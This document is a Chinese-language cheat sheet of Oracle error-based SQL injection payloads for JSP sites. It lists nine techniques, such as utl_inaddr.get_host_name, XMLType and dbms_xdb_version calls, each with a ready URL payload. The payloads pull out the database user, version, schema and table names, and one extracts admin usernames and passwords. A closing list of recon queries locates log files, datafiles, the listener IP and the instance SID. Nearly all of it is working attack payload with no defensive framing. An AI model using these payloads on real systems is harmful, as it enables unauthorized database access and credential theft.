我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Oracle+JSP 报错注入:9种
1、utl_inaddr.get_host_name()进行报错注入
爆用户名payload:?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
2、ctxsys.drithsx.sn()进行报错注入
爆用户名payload:?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
3、XMLType()进行报错注入
爆用户名payload:?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null--
4、dbms_xdb_version.checkin()进行报错注入
爆库版本payload:?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
5、bms_xdb_version.makeversioned()进报错注入
爆库名payload:?id=1 and (select dbms_xdb_version.makeversioned((select owner from all_tables where rownum=1)) from dual) is not null--
6、dbms_xdb_version.uncheckout()进行报错注入
爆库名(排除SYS)payload:?id=1 and (select dbms_xdb_version.uncheckout((select owner from all_tables where rownum=1 and owner <>'SYS')) from dual) is not null--
7、dbms_utility.sqlid_to_sqlhash()进行报错注入
爆表名payload:?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select table_name from user_tables where rownum=1) is not null --
8、ordsys.ord_dicom.getmappingxpath()进行报错注入
爆表名(排除前四个)payload:?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1 and table_name<>'LOGMNR_SESSION_EVOLVE$' and table_name<>'LOGMNR_GLOBAL$' and table_name<>'LOGMNR_GT_TAB_INCLUDE$'),user,user)--
9、decode进行报错注入
这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
爆用户名的第一个字符payload:?id=1 and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual)-- 爆用户名的第二个字符payload:?id=1 and 1=(select decode(substr(user,2,1),'Y',(1/0),0) from dual)--
爆用户名的第三个字符payload:?id=1 and 1=(select decode(substr(user,6,1),'m',(1/0),0) from dual)--
10、思考:如何爆出用户名和密码?
爆admin表的用户名和密码payload:?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--
11、可注入的SQL语句:
(1)获取当前数据库版本:select banner from sys.v_$version where rownum=1
(2)获取当前用户:select user from dual
(3)获取日志文件位置:select member from v$logfile where rownum=1
(4)获取Oracle服务器监听IP:select utl_inaddr.get_host_address from dual
(5)获取Oracle服务器sid实例名称(远程连接该服务的时候可能会需要):select instance_name from v$instance
(6)获取当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual
(7)定位文件位置:select name FROM V$DATAFILE
(8)查库名:select owner from all_tables where rownum=1
(9)查库名(排除SYS库):select owner from all_tables where rownum=1 and owner <>'SYS'
(10)查表名:select table_name from user_tables where rownum=1
(11)查表面(排除ADMIN表):select table_name from user_tables where rownum=1 and table_name<>'ADMIN'
(12)查列名:select column_name from user_tab_columns where table_name='ADMIN' and rownum=1
(13)查列名(排除ID列):select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'
(14)查字段值(username||password):select username%7C%7Cpassword from admin